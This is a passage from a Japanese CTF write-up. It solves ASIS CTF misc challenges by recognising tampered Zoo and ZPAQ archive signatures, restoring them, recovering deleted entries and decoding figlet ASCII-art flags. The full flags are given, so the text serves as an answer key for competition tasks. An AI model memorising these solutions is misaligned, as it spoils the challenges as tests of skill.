    
    printf("\n" "============================================\n");
    printf("復元されたフラグ:\n");
    printf("%s\n", flag);
    printf("============================================\n");
    
    return 0;
}

実行するとフラグが得られた。

ASIS{TeX_H4ck!n9_iZ_r3AlLy_Fun!}

[Misc 112] Zone of Order (39 solves)

In the command region, known as the zone of order, all actions of every entity are logged and recorded. Examine the attached file in this zone and find the flag.

添付ファイル: zone_of_order_d192579c5f9e70f4fb4f5796e8185991ce0b2c6e.txz

展開すると flag.bin という謎のバイナリファイルが与えられる。内容は次のような感じ。file コマンドに投げたり、Zone Of Order 3.14 等の特徴ある文字列でググってみてもなにも見つからない。これがどんなフォーマットか当ててデコードしろという問題らしい。

$ xxd flag.bin | head
00000000: 5a6f 6e65 004f 6600 4f72 6465 7200 332e  Zone.Of.Order.3.
00000010: 3134 2041 7263 6869 7665 2e1a 0000 dca7  14 Archive......
00000020: c4fd 2a00 0000 d6ff ffff 0200 0100 0000  ..*.............
00000030: 0000 0003 dca7 c4fd 0201 a602 0000 7800  ..............x.
00000040: 0000 345b 1884 cde7 0e0a 0000 f601 0000  ..4[............
00000050: 0100 0100 0000 0000 0000 666c 6167 0000  ..........flag..
00000060: 0000 0000 0000 0011 0000 d79e 0007 7365  ..............se
00000070: 6372 6574 0000 00a4 0140 0000 0040 2923  cret.....@...@)#
00000080: 2800 0041 0804 f165 20c1 2f08 0f16 4498  (..A...e ./...D.
00000090: 7020 c387 0c1d 3634 48b1 a2c0 8206 3152  p ....64H.....1R

バイナリを眺めていると、大量の 00 の後に FC 83 が出現するパターンだとか、DC A7 C4 FD という4バイトだとかが多いことに気づく。後者で検索するとZooというアーカイブのフォーマットが見つかった。なるほど、これを改変したものらしい。

展開用のツールをcloneして、サンプルファイルである sample.zoo を眺める。本来は ZOO 2.10 Archive というシグネチャが正しいようだ。

$ xxd sample.zoo | head
00000000: 5a4f 4f20 322e 3130 2041 7263 6869 7665  ZOO 2.10 Archive
00000010: 2e1a 0000 dca7 c4fd 2a00 0000 d6ff ffff  ........*.......
00000020: 0200 0100 0000 0000 0003 dca7 c4fd 0202  ................
00000030: 0b02 0000 7100 0000 e916 7559 3fba 241f  ....q.....uY?.$.
00000040: 0000 9a01 0000 0201 0000 0000 0000 0000  ................
00000050: 7265 6164 6d65 006f 6f2e 6d61 6e0a 007f  readme.oo.man...
00000060: 88b0 0000 0000 0000 0000 0000 4029 2328  ............@)#(
00000070: 0001 8f63 9371 c6bf d8fd a016 ae35 f880  ...c.q.......5..
00000080: c431 ada9 5a84 150a 991d 3bdc 938b 2738  .1..Z.....;...'8
00000090: 36fa fd97 4e2f a7df 1234 0223 4cc6 931f  6...N/...4.#L...

flag.bin のシグネチャを本来あるべきものに直してやると、次のようにアーカイブとして読むことができた。

$ ../src/zoo l flag.bin

Archive flag.bin:
Length    CF  Size Now  Date      Time
--------  --- --------  --------- --------
    2514  79%      531  20 Sep 25 16:34:20     secret/flag
--------  --- --------  --------- --------
    2514  79%      531     1 file
------------
There are 3 deleted files.

展開もできた。アスキーアートで書かれていて見づらいけれども、フラグの一部が得られたらしい。* で潰されてしまっている部分もあるが、これは先程アーカイブに含まれているファイルの一覧を得た際に There are 3 deleted files と表示されていた中に含まれているのだろう。

$ ../src/zoo x flag.bin
Zoo:  secret/flag    -- extracted
$ cat secret/flag
    _    ____ ___ ____    __                                                                                                                                                                                                                
   / \  / ___|_ _/ ___|  / /_/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\____/\__
  / _ \ \___ \| |\___ \ | |\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /\    /
 / ___ \ ___) | | ___) < < /_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\/_  _\
/_/   \_\____/___|____/ | |  \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/    \/
                         \_\                                                                                                                                                                                                                
                                ___        _____   _____ ___     _______  _______      _        _   _ ___
__/\____/\____/\____/\____/\__ / _ \ _ __ |___ /  |___  / _ \   |___ /\ \/ /_   _| __ / \   ___| |_| | \ \
\    /\    /\    /\    /\    /| | | | '_ \  |_ \     / / | | |    |_ \ \  /  | || '__/ _ \ / __| __| | || |
/_  _\/_  _\/_  _\/_  _\/_  _\| |_| | | | |___) |   / /| |_| |   ___) |/  \  | || | / ___ \ (__| |_|_|_| > >
  \/    \/    \/    \/    \/___\___/|_| |_|____/___/_/  \___/___|____//_/\_\ |_||_|/_/   \_\___|\__(_|_)| |

zoo -h で削除されたファイルの展開の方法を探すと、d extract/list deleted files toodd extract/list only deleted files といった記述が見つかる。…が、同じファイル名であるためにスキップされてしまっているようだ。

$ ../src/zoo xd flag.bin
Zoo:  secret/flag    -- skipped
Zoo:  secret/flag    -- skipped
Zoo:  secret/flag    -- skipped
Zoo:  secret/flag    -- skipped
$ ../src/zoo xdd flag.bin
Zoo:  secret/flag    -- skipped
Zoo:  secret/flag    -- skipped
Zoo:  secret/flag    -- skipped

flag.bin に含まれる flag という文字列を fla1, fla2, ...といった文字列に置換して、別のファイル名で展開されないかと考える。試してみると、成功した。

$ ../src/zoo xd flag.bin
Zoo:  secret/fla1    -- extracted
Zoo:  secret/fla2    -- extracted
Zoo:  secret/fla3    -- extracted
Zoo:  secret/fla4    -- extracted

これらのファイルには残りのフラグのパーツが含まれていた。ただ、やはりアスキーアートで読みづらい。それっぽいツールを色々試していたところ、figlet で生成されたものらしいと突き止める。これで答え合わせがしやすくなったものの、0O が同じパターンであり、しかもフラグにはこれが何箇所も含まれていた。ブルートフォースなんかやってられないので、チケットを立てて運営に相談したところ、フラグを教えてもらえた。

ASIS{ZO0_arch!v3_lE7_sAvE_Mu1Tipl3_f1lEs_And_cHoO5e_Wh!cH_0n3_7O_3XTrAct!!}

[Misc 226] Honeymoon (15 solves)

During a honeymoon, everyone hopes for boundless time and infinite joy. Yet, it seems to fly by in a rush, doesn't it? Why is that?

添付ファイル: HoneyMoon_50d560ec992f0c9bbdd4b2b56230ddb80194af8c.txz

展開すると flag.raw という謎のバイナリファイルが与えられる。内容は次のような感じ。Zone of Order と同じように、シグネチャが潰されているので本来あるべき姿に直してデコードしろという問題らしい。

8lTu がかなり特徴的に思われるけれども、検索しても出てこない。jDC や、その後に続くタイムスタンプなんかも特徴的に思われるが、やはり見つからない。

$ xxd flag.raw | head
00000000: 386c 5475 a031 83d3 8cb2 28b0 d37a 5051  8lTu.1....(..zPQ
00000010: 0201 0700 0000 0000 0000 0001 6a44 4332  ............jDC2
00000020: 3032 3530 3932 3031 3135 3934 3263 3030  0250920115942c00
00000030: 3030 3030 3030 3031 0038 206a 4443 0100  00000001.8 jDC..
00000040: 0000 0000 0900 ba03 0000 0000 0000 0000  ................
00000050: 0000 fd1e 1fc7 7dfc ff51 1f40 325d 481b  ......}..Q.@2]H.
00000060: 0ea6 88f7 683e ccff 386c 5475 a031 83d3  ....h>..8lTu.1..
00000070: 8cb2 28b0 d37a 5051 0201 0e00 0910 0014  ..(..zPQ........
00000080: 0000 1268 87ff 5872 3800 016a 4443 3230  ...h..Xr8..jDC20
00000090: 3235 3039 3230 3131 3539 3432 6430 3030  250920115942d000

悩んでいると、sugiさんがAIである程度解いてくれた。フラグには ZPAQ という文字列が含まれているようで、なるほど、ZPAQだったらしい。検索すべきは zPQ だったようだ。

ZPAQに直すには、8lTu7kSt に置換すればよい。

>>> a = open('flag.raw', 'rb').read()
>>> open('flag_fixed.zpaq', 'wb').write(a.replace(b'8lTu', b'7kSt'))
1641

これで展開できた。

$ ./zpaq/zpaq l flag_fixed.zpaq
zpaq v7.15 journaling archiver, compiled Dec 28 2025
flag_fixed.zpaq: 1 versions, 1 files, 1 fragments, 0.001641 MB

- 2025-09-20 11:59:42         1578  0644 ASIS{ZPAQ_iZ_A_7oOl_tHaT

0.001578 MB of 0.001578 MB (1 files) shown
  -> 0.001578 MB (1 refs to 1 of 1 frags) after dedupe
  -> 0.001641 MB compressed.
0.006 seconds (all OK)
$ ./zpaq/zpaq x flag_fixed.zpaq
zpaq v7.15 journaling archiver, compiled Dec 28 2025
flag_fixed.zpaq: 1 versions, 1 files, 1 fragments, 0.001641 MB
Extracting 0.001578 MB in 1 files -threads 16
[1..1] -> 1590
> ASIS{ZPAQ_iZ_A_7oOl_tHaT
0.017 seconds (all OK)

ASIS{ZPAQ_iZ_A_7oOl_tHaT というファイルに、フラグの後半部分が含まれていた。

ASIS{ZPAQ_iZ_A_7oOl_tHaT_4rChIvEs_f1leS_aNd_p3rF0rm5_IncrEm3nt4L_8aCkup5!!}